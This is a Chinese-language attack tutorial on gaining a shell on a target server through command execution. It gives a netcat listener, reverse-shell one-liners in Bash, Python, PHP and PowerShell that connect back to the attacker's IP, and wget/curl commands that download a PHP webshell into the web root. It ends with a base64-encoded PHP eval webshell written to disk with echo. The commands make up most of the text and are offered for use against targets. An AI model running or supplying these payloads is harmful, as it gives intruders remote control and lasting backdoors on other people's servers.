### 对于不能直接上传而只能通过命令行执行的 Shell 怎么办

1. 反弹 Shell

这是最常用、最有效的方法。它的原理是让目标服务器主动连接到你的攻击机，而不是让你去连接它。这能绕过目标服务器的防火墙和出站连接限制，同时给你一个完整的交互式 shell

基本步骤：

1. 在你的攻击机上设置监听： 你需要一个网络监听器来等待来自目标服务器的连接。常用的工具有 `netcat` (nc) 或 `socat`

       # 使用 netcat 监听 4444 端口
       nc -lvnp 4444

   `l` 表示监听，`v` 表示显示详细信息，`n` 表示不进行DNS解析，`p` 表示指定端口

2. 在目标服务器上执行反弹 shell 命令： 根据目标服务器的操作系统和已有的工具，执行不同的命令

   - Bash：

         bash -i >& /dev/tcp/你的IP/4444 0>&1

   - Python：

         python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<你的IP>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

   - PHP：

         php -r '$sock=fsockopen("<你的IP>",4444);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

3. 获取交互式 shell： 当目标服务器执行该命令后，它会连接到你的监听端口。你的 `netcat` 窗口会显示连接成功的消息，并且你将获得一个可执行命令的 shell

2. 通过 Web 请求传输文件

如果目标服务器允许出站请求，并且你可以控制这些请求（比如通过 `curl` 或 `wget`），那么你可以让目标服务器从你的攻击机上下载文件

1. 在你的攻击机上创建一个简单的 HTTP 服务器： 将你的 shell 文件（如一个 PHP Webshell）放在一个目录下，并用 Python 启动一个简单的 Web 服务器

       # 在你的 shell 文件所在目录下执行
       python3 -m http.server 80

2. 在目标服务器上执行下载命令： 利用命令注入点，让目标服务器下载文件

       # 使用 wget
       wget http://你的IP/shell.php -O /var/www/html/shell.php

       # 或者使用 curl
       curl http://你的IP/shell.php > /var/www/html/shell.php

   注意：你需要知道一个可写的、Web 服务器可以访问的目录（如 `/var/www/html/` 或 `/tmp/`）。如果 `/tmp` 目录可以写入，你可以先下载到 `/tmp`，再想办法移动到 Web 目录

3. 利用内置工具

有些服务器环境自带一些可以创建 shell 的工具

- VBScript / PowerShell (Windows)： Windows 系统的 PowerShell 拥有强大的网络功能。你可以使用 PowerShell 来实现反弹 shell

      powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<你的IP>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close();"

  由于命令很长，你可以将其编码为 Base64 来避免空格和特殊字符的问题

4. 利用 `echo` 或其他写入命令

如果目标服务器的出站连接被严格限制，你不能使用反弹 shell 或下载文件，但可以执行命令行。你可以通过 `echo` 命令，一行一行地将 shell 代码写入到一个文件中

基本步骤：

1. 将你的 shell 代码进行编码： 为了避免引号和特殊字符问题，你可以将代码进行 Base64 编码。

2. 使用 `echo` 和 Base64 解码命令：

       # 假设你的 shell 代码经过 Base64 编码后为 "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4="
       echo "PD9waHAgZXZhbCgkX1BPU1RbJ2NtZCddKTsgPz4=" | base64 -d > /var/www/html/shell.php

   如果服务器不支持 `base64 -d`，你可能需要用其他方法，比如分多行写入，或者利用 `python -c 'print ...'` 来写入文件